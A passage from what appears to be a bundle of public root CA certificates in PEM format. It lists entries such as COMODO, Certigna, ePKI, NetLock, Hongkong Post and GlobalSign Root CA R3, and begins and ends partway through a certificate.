mbx8IVQr5Fiiu1cprp6poxkmD5kuCLDv/WnPmRoJjeOnnyvJNjR7JLN4TJUXpAYmHrZkUjZfYGfZ nMUFdAvnZyPSCPyI6a6Lf+Ew9Dd+/cYy2i2eRDAwbO4H3tI0/NL/QPZL9GZGBlSm8jIKYyYwa5vR 3ItHuuG51WLQoqD0ZwV4KWMabwTW+MZMo5qxN7SN5ShLHZ4swrhovO0C7jE= -----END CERTIFICATE----- Secure Global CA ================ -----BEGIN CERTIFICATE----- MIIDvDCCAqSgAwIBAgIQB1YipOjUiolN9BPI8PjqpTANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBH bG9iYWwgQ0EwHhcNMDYxMTA3MTk0MjI4WhcNMjkxMjMxMTk1MjA2WjBKMQswCQYDVQQGEwJVUzEg MB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwg Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvNS7YrGxVaQZx5RNoJLNP2MwhR/jx YDiJiQPpvepeRlMJ3Fz1Wuj3RSoC6zFh1ykzTM7HfAo3fg+6MpjhHZevj8fcyTiW89sa/FHtaMbQ bqR8JNGuQsiWUGMu4P51/pinX0kuleM5M2SOHqRfkNJnPLLZ/kG5VacJjnIFHovdRIWCQtBJwB1g 8NEXLJXr9qXBkqPFwqcIYA1gBBCWeZ4WNOaptvolRTnIHmX5k/Wq8VLcmZg9pYYaDDUz+kulBAYV HDGA76oYa8J719rO+TMg1fW9ajMtgQT7sFzUnKPiXB3jqUJ1XnvUd+85VLrJChgbEplJL4hL/VBi 0XPnj3pDAgMBAAGjgZ0wgZowEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFK9EBMJBfkiD2045AuzshHrmzsmkMDQGA1UdHwQtMCswKaAn oCWGI2h0dHA6Ly9jcmwuc2VjdXJldHJ1c3QuY29tL1NHQ0EuY3JsMBAGCSsGAQQBgjcVAQQDAgEA MA0GCSqGSIb3DQEBBQUAA4IBAQBjGghAfaReUw132HquHw0LURYD7xh8yOOvaliTFGCRsoTciE6+ OYo68+aCiV0BN7OrJKQVDpI1WkpEXk5X+nXOH0jOZvQ8QCaSmGwb7iRGDBezUqXbpZGRzzfTb+cn CDpOGR86p1hcF895P4vkp9MmI50mD1hp/Ed+stCNi5O/KU9DaXR2Z0vPB4zmAve14bRDtUstFJ/5 3CYNv6ZHdAbYiNE6KTCEztI5gGIbqMdXSbxqVVFnFUq+NQfk1XWYN3kwFNspnWzFacxHVaIw98xc f8LDmBxrThaA63p4ZUWiABqvDA1VZDRIuJK58bRQKfJPIx/abKwfROHdI3hRW8cW -----END CERTIFICATE----- COMODO Certification Authority ============================== -----BEGIN CERTIFICATE----- MIIEHTCCAwWgAwIBAgIQToEtioJl4AsC7j41AkblPTANBgkqhkiG9w0BAQUFADCBgTELMAkGA1UE BhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgG A1UEChMRQ09NT0RPIENBIExpbWl0ZWQxJzAlBgNVBAMTHkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1 dGhvcml0eTAeFw0wNjEyMDEwMDAwMDBaFw0yOTEyMzEyMzU5NTlaMIGBMQswCQYDVQQGEwJHQjEb MBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFD T01PRE8gQ0EgTGltaXRlZDEnMCUGA1UEAxMeQ09NT0RPIENlcnRpZmljYXRpb24gQXV0aG9yaXR5 MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ECLi3LjkRv3UcEbVASY06m/weaKXTuH +7uIzg3jLz8GlvCiKVCZrts7oVewdFFxze1CkU1B/qnI2GqGd0S7WWaXUF601CxwRM/aN5VCaTww xHGzUvAhTaHYujl8HJ6jJJ3ygxaYqhZ8Q5sVW7euNJH+1GImGEaaP+vB+fGQV+useg2L23IwambV 4EajcNxo2f8ESIl33rXp+2dtQem8Ob0y2WIC8bGoPW43nOIv4tOiJovGuFVDiOEjPqXSJDlqR6sA 1KGzqSX+DT+nHbrTUcELpNqsOO9VUCQFZUaTNE8tja3G1CEZ0o7KBWFxB3NH5YoZEr0ETc5OnKVI rLsm9wIDAQABo4GOMIGLMB0GA1UdDgQWBBQLWOWLxkwVN6RAqTCpIb5HNlpW/zAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zBJBgNVHR8EQjBAMD6gPKA6hjhodHRwOi8vY3JsLmNvbW9k b2NhLmNvbS9DT01PRE9DZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDANBgkqhkiG9w0BAQUFAAOC AQEAPpiem/Yb6dc5t3iuHXIYSdOH5EOC6z/JqvWote9VfCFSZfnVDeFs9D6Mk3ORLgLETgdxb8CP OGEIqB6BCsAvIC9Bi5HcSEW88cbeunZrM8gALTFGTO3nnc+IlP8zwFboJIYmuNg4ON8qa90SzMc/ RxdMosIGlgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmc IGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5ddBA6+C4OmF4O5MBKgxTMVBbkN +8cFduPYSo38NBejxiEovjBFMR7HeL5YYTisO+IBZQ== -----END CERTIFICATE----- Network Solutions Certificate Authority ======================================= -----BEGIN CERTIFICATE----- MIID5jCCAs6gAwIBAgIQV8szb8JcFuZHFhfjkDFo4DANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQG EwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMuMTAwLgYDVQQDEydOZXR3b3Jr IFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDYxMjAxMDAwMDAwWhcNMjkxMjMx MjM1OTU5WjBiMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMu MTAwLgYDVQQDEydOZXR3b3JrIFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkvH6SMG3G2I4rC7xGzuAnlt7e+foS0zwzc7MEL7xx jOWftiJgPl9dzgn/ggwbmlFQGiaJ3dVhXRncEg8tCqJDXRfQNJIg6nPPOCwGJgl6cvf6UDL4wpPT aaIjzkGxzOTVHzbRijr4jGPiFFlp7Q3Tf2vouAPlT2rlmGNpSAW+Lv8ztumXWWn4Zxmuk2GWRBXT crA/vGp97Eh/jcOrqnErU2lBUzS1sLnFBgrEsEX1QV1uiUV7PTsmjHTC5dLRfbIR1PtYMiKagMnc /Qzpf14Dl847ABSHJ3A4qY5usyd2mFHgBeMhqxrVhSI8KbWaFsWAqPS7azCPL0YCorEMIuDTAgMB AAGjgZcwgZQwHQYDVR0OBBYEFCEwyfsA106Y2oeqKtCnLrFAMadMMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MFIGA1UdHwRLMEkwR6BFoEOGQWh0dHA6Ly9jcmwubmV0c29sc3NsLmNv bS9OZXR3b3JrU29sdXRpb25zQ2VydGlmaWNhdGVBdXRob3JpdHkuY3JsMA0GCSqGSIb3DQEBBQUA A4IBAQC7rkvnt1frf6ott3NHhWrB5KUd5Oc86fRZZXe1eltajSU24HqXLjjAV2CDmAaDn7l2em5Q 4LqILPxFzBiwmZVRDuwduIj/h1AcgsLj4DKAv6ALR8jDMe+ZZzKATxcheQxpXN5eNK4CtSbqUN9/ GGUsyfJj4akH/nxxH2szJGoeBfcFaMBqEssuXmHLrijTfsK0ZpEmXzwuJF/LWA/rKOyvEZbz3Htv wKeI8lN3s2Berq4o2jUsbzRF0ybh3uxbTydrFny9RAQYgrOJeRcQcT16ohZO9QHNpGxlaKFJdlxD ydi8NmdspZS11My5vWo1ViHe2MPr+8ukYEywVaCge1ey -----END CERTIFICATE----- COMODO ECC Certification Authority ================================== -----BEGIN CERTIFICATE----- MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTELMAkGA1UEBhMC R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNMDgwMzA2MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0Ix GzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRo b3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSRFtSrYpn1PlILBs5BAH+X 4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0JcfRK9ChQtP6IHG4/bC8vCVlbpVsLM5ni wz2J+Wos77LTBumjQjBAMB0GA1UdDgQWBBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VG FAkK+qDmfQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdvGDeA U/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY= -----END CERTIFICATE----- Certigna ======== -----BEGIN CERTIFICATE----- MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNVBAYTAkZSMRIw EAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4XDTA3MDYyOTE1MTMwNVoXDTI3 MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwI Q2VydGlnbmEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7q XOEm7RFHYeGifBZ4QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyH GxnygQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbwzBfsV1/p ogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q130yGLMLLGq/jj8UEYkg DncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKf Irjxwo1p3Po6WAbfAgMBAAGjgbwwgbkwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQ tCRZvgHyUtVF9lo53BEwZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJ BgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzjAQ/J SP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG9w0BAQUFAAOCAQEA hQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8hbV6lUmPOEvjvKtpv6zf+EwLHyzs+ ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFncfca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1klu PBS1xp81HlDQwY9qcEQCYsuuHWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY 1gkIl2PlwS6wt0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg== -----END CERTIFICATE----- ePKI Root Certification Authority ================================= -----BEGIN CERTIFICATE----- MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBeMQswCQYDVQQG EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xKjAoBgNVBAsMIWVQS0kg Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMx MjdaMF4xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEq MCgGA1UECwwhZVBLSSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAHSyZbCUNs IZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAhijHyl3SJCRImHJ7K2RKi lTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3XDZoTM1PRYfl61dd4s5oz9wCGzh1NlDiv qOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX 12ruOzjjK9SXDrkb5wdJfzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0O WQqraffAsgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uUWH1+ ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLSnT0IFaUQAS2zMnao lQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pHdmX2Os+PYhcZewoozRrSgx4hxyy/ vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJipNiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXi Zo1jDiVN1Rmy5nk3pyKdVDECAwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/Qkqi MAwGA1UdEwQFMAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGBuvl2ICO1J2B0 1GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6YlPwZpVnPDimZI+ymBV3QGypzq KOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkPJXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdV xrsStZf0X4OFunHB2WyBEXYKCrC/gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEP NXubrjlpC2JgQCA2j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+r GNm65ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUBo2M3IUxE xJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS/jQ6fbjpKdx2qcgw+BRx gMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2zGp1iro2C6pSe3VkQw63d4k3jMdXH7Ojy sP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTEW9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmOD BCEIZ43ygknQW/2xzQ+DhNQ+IIX3Sj0rnP0qCglN6oH4EZw= -----END CERTIFICATE----- certSIGN ROOT CA ================ -----BEGIN CERTIFICATE----- MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYTAlJPMREwDwYD VQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTAeFw0wNjA3MDQxNzIwMDRa Fw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UE CxMQY2VydFNJR04gUk9PVCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7I JUqOtdu0KBuqV5Do0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHH rfAQUySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5dRdY4zTW2 ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQOA7+j0xbm0bqQfWwCHTD 0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwvJoIQ4uNllAoEwF73XVv4EOLQunpL+943 AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8B Af8EBAMCAcYwHQYDVR0OBBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IB AQA+0hyJLjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecYMnQ8 SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ44gx+FkagQnIl6Z0 x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6IJd1hJyMctTEHBDa0GpC9oHRxUIlt vBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNwi/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7Nz TogVZ96edhBiIL5VaZVDADlN9u6wWk5JRFRYX0KD -----END CERTIFICATE----- NetLock Arany (Class Gold) Főtanúsítvány ======================================== -----BEGIN CERTIFICATE----- MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQGEwJIVTERMA8G A1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3MDUGA1UECwwuVGFuw7pzw610 dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBB cmFueSAoQ2xhc3MgR29sZCkgRsWRdGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgx MjA2MTUwODIxWjCBpzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxO ZXRMb2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlmaWNhdGlv biBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNzIEdvbGQpIEbFkXRhbsO6 c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCRec75LbRTDofTjl5Bu 0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrTlF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw /HpYzY6b7cNGbIRwXdrzAZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAk H3B5r9s5VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRGILdw fzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2BJtr+UBdADTHLpl1 neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAGAQH/AgEEMA4GA1UdDwEB/wQEAwIB BjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2MU9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwW qZw8UQCgwBEIBaeZ5m8BiFRhbvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTta YtOUZcTh5m2C+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2FuLjbvrW5Kfna NwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2XjG4Kvte9nHfRCaexOYNkbQu dZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E= -----END CERTIFICATE----- Hongkong Post Root CA 1 ======================= -----BEGIN CERTIFICATE----- MIIDMDCCAhigAwIBAgICA+gwDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoT DUhvbmdrb25nIFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMB4XDTAzMDUx NTA1MTMxNFoXDTIzMDUxNTA0NTIyOVowRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoTDUhvbmdrb25n IFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEArP84tulmAknjorThkPlAj3n54r15/gK97iSSHSL22oVyaf7XPwnU3ZG1 ApzQjVrhVcNQhrkpJsLj2aDxaQMoIIBFIi1WpztUlVYiWR8o3x8gPW2iNr4joLFutbEnPzlTCeqr auh0ssJlXI6/fMN4hM2eFvz1Lk8gKgifd/PFHsSaUmYeSF7jEAaPIpjhZY4bXSNmO7ilMlHIhqqh qZ5/dpTCpmy3QfDVyAY45tQM4vM7TG1QjMSDJ8EThFk9nnV0ttgCXjqQesBCNnLsak3c78QA3xMY V18meMjWCnl3v/evt3a5pQuEF10Q6m/hq5URX208o1xNg1vysxmKgIsLhwIDAQABoyYwJDASBgNV HRMBAf8ECDAGAQH/AgEDMA4GA1UdDwEB/wQEAwIBxjANBgkqhkiG9w0BAQUFAAOCAQEADkbVPK7i h9legYsCmEEIjEy82tvuJxuC52pF7BaLT4Wg87JwvVqWuspube5Gi27nKi6Wsxkz67SfqLI37pio l7Yutmcn1KZJ/RyTZXaeQi/cImyaT/JaFTmxcdcrUehtHJjA2Sr0oYJ71clBoiMBdDhViw+5Lmei IAQ32pwL0xch4I+XeTRvhEgCIDMb5jREn5Fw9IBehEPCKdJsEhTkYY2sEJCehFC78JZvRZ+K88ps T/oROhUVRsPNH4NbLUES7VBnQRM9IauUiqpOfMGx+6fWtScvl6tu4B3i0RwsH0Ti/L6RoZz71ilT c4afU9hDDl3WY4JxHYB0yvbiAmvZWg== -----END CERTIFICATE----- SecureSign RootCA11 =================== -----BEGIN CERTIFICATE----- MIIDbTCCAlWgAwIBAgIBATANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQGEwJKUDErMCkGA1UEChMi SmFwYW4gQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcywgSW5jLjEcMBoGA1UEAxMTU2VjdXJlU2lnbiBS b290Q0ExMTAeFw0wOTA0MDgwNDU2NDdaFw0yOTA0MDgwNDU2NDdaMFgxCzAJBgNVBAYTAkpQMSsw KQYDVQQKEyJKYXBhbiBDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzLCBJbmMuMRwwGgYDVQQDExNTZWN1 cmVTaWduIFJvb3RDQTExMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA/XeqpRyQBTvL TJszi1oURaTnkBbR31fSIRCkF/3frNYfp+TbfPfs37gD2pRY/V1yfIw/XwFndBWW4wI8h9uuywGO wvNmxoVF9ALGOrVisq/6nL+k5tSAMJjzDbaTj6nU2DbysPyKyiyhFTOVMdrAG/LuYpmGYz+/3ZMq g6h2uRMft85OQoWPIucuGvKVCbIFtUROd6EgvanyTgp9UK31BQ1FT0Zx/Sg+U/sE2C3XZR1KG/rP O7AxmjVuyIsG0wCR8pQIZUyxNAYAeoni8McDWc/V1uinMrPmmECGxc0nEovMe863ETxiYAcjPitA bpSACW22s293bzUIUPsCh8U+iQIDAQABo0IwQDAdBgNVHQ4EFgQUW/hNT7KlhtQ60vFjmqC+CfZX t94wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAKCh OBZmLqdWHyGcBvod7bkixTgm2E5P7KN/ed5GIaGHd48HCJqypMWvDzKYC3xmKbabfSVSSUOrTC4r bnpwrxYO4wJs+0LmGJ1F2FXI6Dvd5+H0LgscNFxsWEr7jIhQX5Ucv+2rIrVls4W6ng+4reV6G4pQ Oh29Dbx7VFALuUKvVaAYga1lme++5Jy/xIWrQbJUb9wlze144o4MjQlJ3WN7WmmWAiGovVJZ6X01 y8hSyn+B/tlr0/cR7SXf+Of5pPpyl4RTDaXQMhhRdlkUbA/r7F+AjHVDg8OFmP9Mni0N5HeDk061 lgeLKBObjBmNQSdJQO7e5iNEOdyhIta6A/I= -----END CERTIFICATE----- Microsec e-Szigno Root CA 2009 ============================== -----BEGIN CERTIFICATE----- MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQGEwJIVTER MA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jv c2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o dTAeFw0wOTA2MTYxMTMwMThaFw0yOTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UE BwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUt U3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvPkd6mJviZpWNwrZuuyjNA fW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tccbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG 0IMZfcChEhyVbUr02MelTTMuhTlAdX4UfIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKA pxn1ntxVUwOXewdI/5n7N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm 1HxdrtbCxkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1+rUC AwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTLD8bf QkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAbBgNVHREE FDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqGSIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0o lZMEyL/azXm4Q5DwpL7v8u8hmLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfX I/OMn74dseGkddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775 tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c2Pm2G2JwCz02 yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5tHMN1Rq41Bab2XD0h7lbwyYIi LXpUq3DDfSJlgnCW -----END CERTIFICATE----- GlobalSign Root CA - R3 ======================= -----BEGIN CERTIFICATE----- MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xv YmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh bFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT aWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWt iHL8RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsTgHeMCOFJ 